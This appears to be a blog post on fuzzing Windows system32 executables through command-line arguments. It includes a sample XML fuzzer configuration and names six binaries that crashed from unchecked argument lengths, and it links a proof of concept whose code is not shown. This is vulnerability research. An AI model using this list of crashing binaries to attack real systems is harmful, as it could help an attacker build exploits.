Looking at some of the components present within the %systemroot%\system32 directory can be fun when attempting to identify low-hanging-fruit-vulnerabilities. I made a simple fuzzer that enumerated all executables within a given directory and attempted to execute them with user-defined arguments. A more advanced method also supported by the tool, is to specify the arguments for a given executable in the fuzzer’s configuration file and allow it to run the programme based on the configuration options.
A sample configuration might resemble the following:
<?xml version="1.0" encoding="iso-8859-1"?>
<configuration>
<session>
<top><![CDATA[C:/]]></top>
<denyrules>
<rule><![CDATA[Documents]]></rule>
<rule><![CDATA[Unencrypted]]></rule>
<rule><![CDATA[ie7updates]]></rule>
<rule><![CDATA[Installer]]></rule>
<rule><![CDATA[cmd.exe]]></rule>
</denyrules>
<extensions>
<extension value="exe" />
</extensions>
<!-- Add specific programmes and their arguments below -->
<!-- Arguments with values are followed with a "+" -->
<!-- Arguments that must be present are followed with a "!" -->
<!-- The first byte is the char that is used when giving arguments. -->
<!-- Some will be a forward slash and others a hyphen -->
<programmes enabled="0">
<programme name="C:/path/to/executable.exe" arguments="/l:+;/s:!;" />
</programmes>
</session>
<files>
<output>db.xml</output>
<errors>errors.xml</errors>
</files>
</configuration>
After a few practice, fine-tuning runs, I ran the tool in the %systemroot%\system32 directory and went to make myself a cup of tea. About five or ten minutes later I came back to find the debugger attached to the following 6 processes:
- mrinfo.exe
- locator.exe
- eventvwr.exe
- netsetup.exe
- odbcconf.exe
- sdbinst.exe
what does this mean? Well it means that the tool caused some kind of exception in the programmes to occur. Looking at the debugger, if we have a closer look at the contents of the registers and state of the stack (which was the cause of the exceptions) we can see that the data passed to the programme via the command-line is the culprit here. For the sake of illustration, lets have a look at some screen-dumps of some of the exceptions and the executables in which they occured.
If we have a closer look at the vulnerabilities mentioned above, we can see that they are all a result of improper bounds checking when reading command-line arguments. This is quite a common error, not only in the components mentioned above, but also in many other applications, which take arguments/data and/or options via the command-line.
Can this type of vulnerability be exploited to introduce a remote code execution vulnerability? The answer is, some will and some will not. All of the issues presented above, will require that the vulnerable programme is executed with a malicious command-line argument in order to cause any damage, and this is just not a realistic scenario. This could be done by sending a maliciously constructed scripting file to the user and attempting to trick him/her into executing it but again, this is highly unlikely, as scripting files are considered un-safe and will not likely make it to the user, due to restrictions within the software packages (e.g. e-mail and instant messaging clients, etc.) via which the attacker will possibly try to send the malicious scripting file. In other words, there is not vector.
Some of you may be asking how long the vulnerabilities mentioned above have been common knowledge and the answer is, a very long time. Most of these vulnerabilities are well known and date back to as far as 2002 and 2003. The only recent issue is the one identified in the Rpc locator executable, which I reported to Microsoft on the 24th of May 2010. You can expect no fixes for any of these issues as the likelihood of them being exploited is very low due to the previously mentioned, non-existing attack vector.
While fuzzing is fun, it’s just not good enough when attemtping to identify more complex vulnerabilities. Specially crafted payloads required to reach a specific branch of code-execution will require an in-depth analysis of the functionality. This in-depth analysis will enable you to construct just the right composition of data that will ensure your data’s contact with the vulnerable code, and this is when things really start to happen.
For fun, I have written a small PoC, which calls the Rpc locator executable with a long command-line argument. It can be downloaded here: Rpc Locator PoC (314)
